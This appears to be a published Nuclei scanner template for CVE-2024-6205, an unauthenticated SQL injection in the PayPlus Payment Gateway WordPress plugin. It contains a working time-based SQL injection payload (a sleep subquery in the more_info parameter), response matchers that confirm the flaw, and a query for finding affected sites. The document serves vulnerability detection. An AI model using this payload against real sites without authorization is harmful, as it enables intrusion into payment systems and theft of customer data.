PayPlus Payment Gateway < 6.6.9 - SQL Injection

ID: CVE-2024-6205

Severity: critical

Author: s4e-io

Tags: time-based-sqli,wpscan,cve,cve2024,sqli,wordpress,wp-plugin,wp,payplus-payment

Description

The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.

YAML Source

id: CVE-2024-6205

info:
  name: PayPlus Payment Gateway < 6.6.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.
  remediation: Fixed in 6.6.9
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payplus-payment-gateway/payplus-payment-gateway-668-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/7e2c5032-2917-418c-aee3-092bdb78a087
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6205
    cwe-id: CWE-89
    epss-score: 0.00043
    epss-percentile: 0.09301
  metadata:
    max-request: 1
    vendor: payplus-ltd
    product: payplus-payment-gateway
    framework: wordpress
    publicwww-query: "/wp-content/plugins/payplus-payment-gateway"
  tags: time-based-sqli,wpscan,cve,cve2024,sqli,wordpress,wp-plugin,wp,payplus-payment

http:
  - raw:
      - |
        @timeout 20s
        GET /?wc-api=payplus_gateway&status_code=true&more_info=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 302"
          - "regex('^-1$', body)"
          - 'contains(content_type,"text/html")'
        condition: and
# digest: 4a0a00473045022100f2ba7ceb3051269d292bdf0f1e7b4631505ce497ae5d5545ada791801a99e8dd02200b9180eecb431af37e8225ef637655a1d80721a35610da9b8053cec592a3e753:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6205.yaml"

View on Github